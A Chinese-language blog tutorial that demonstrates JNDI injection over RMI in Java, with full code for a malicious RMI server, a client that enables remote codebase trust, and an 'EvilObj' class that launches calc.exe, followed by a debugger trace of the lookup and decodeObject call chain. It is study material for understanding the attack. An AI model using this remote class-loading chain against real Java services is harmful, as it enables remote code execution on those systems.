java代码学习(十) ——JDNI注入

JNDI方便了与naming serviceDirectory service的交互,通过指定特定的URL即可与不同的服务进行交互。

JNDI中也存在RMI codebase的动态加载机制,动态加载发生于两个部分,Naming ManagerJNDI SPISPI部分就是相对应的服务的配置。

JNDI提出了Naming References的方法,返回相应的Reference而不返回具体的obj。统一由JNDI的请求端去加载指定的地址上的obj。这里加载方法中就包括远程codebase的方法。

服务端

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class SERVER {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}

如代码所示,绑定rmi1099端口,url6666端口,使用namingreference去返回对应的reference,加载由客户端自己完成。这一套加载流程都是固定的,在官网上能查到。

客户端

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class CLIENT {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}

由于测试版本为1.8.202,故加上 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");lookup为以rmi协议去请求服务端上的evil,即registry.bind绑定的evil

EvilObj

public class EvilObj {
public EvilObj() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"cmd.exe","/c","calc.exe"};
rt.exec(commands);
}
}

注:python3开启http服务的快捷方式为python -m http.server +端口号

利用RMI进行JNDI注入

启动clientdebug,把断点定在context.lookup。跟进

 

 

 

 让我们看看 getURLOrDefaultInitCtx函数是做了什么?

 

 

 

 该函数调用了四个函数,NamingManager.hasInitialContextFactoryBuildergetDefaultInitCtxgetURLSchemeNamingManager.getURLContext

hasInitialContextFactoryBuilder函数用来确定是否已设置初始上下文工厂构建器,如果已设置初始上下文工厂构建器,则为 true;否则为假。这里并未设置构建器,所以跳过。

 

 

 getURLScheme函数则是通过判断:/的方式,来确定协议的类型。在这里确定协议为rmi

取出rmi。然后再getURLContext中进行连接。

 

 

 

 最后很明显的,ctx不为空,返回值。

 

 

 

 回到InitalContextlookup函数,调用了GenericURLContextlookup方法。

 

lookup方法的var1即是我们传过来的变量。var2是对我们传入的变量进行剖析分离。接着来到getRootURLContext方法。

 

 

 

 可以看到,该方法把rmilocalhost、端口和evil给分离开了,然后再准备连入RegistryContext

var3是对值进行一个封装

 

 

 

 

 

 

 可以看到,接下来的步骤很明显就是要去请求RegistryContext的连接了。

 

 

 

 

 

RegistryContext.lookup

跟随lookup来到RegistryContextlookup方法。该方法主要做了两件事,一是通过Registrylmpl_Stub

lookup方法去找到传入的Evil对象。

 

 

 Registrylmpl_Stub.lookup

RemoteCall是一个抽象,仅由RMI运行时(与远程对象的存根和骨架结合使用)来执行对远程对象的调用。

 

可以看到该lookup类主要是做序列化和反序列化的处理。序列化使用的是objectoutputstream。最后RegistryContext.lookup对其进行对象提取。例如evilip和端口号等。

 

RegistryContext.decodeobject

 

该方法先对传过来的接口进行判断,再确定传过来的类名。断点中的if判断用做对是否开启远程加载进行判断,因为笔者用的是jdk8_202,所以会有此判断。

 

NamingManager.getObjectInstance利用该方法创建文件。至此,调用链结束。

 

decodeObject:464,RegistryContext(com.sun.jndi.rmi.registry)

lookup:124,RegistryContext(com.sun.jndi.rmi.registry)

lookup:205,GenericURLContext(com.sun.jndi.toolkit.url)

lookup:417,InitialContext(javax.naming)

main:46,HelloClient

命令执行成功。

 

posted @ 2022-01-17 19:34  Cold灬  阅读(197)  评论(0编辑  收藏  举报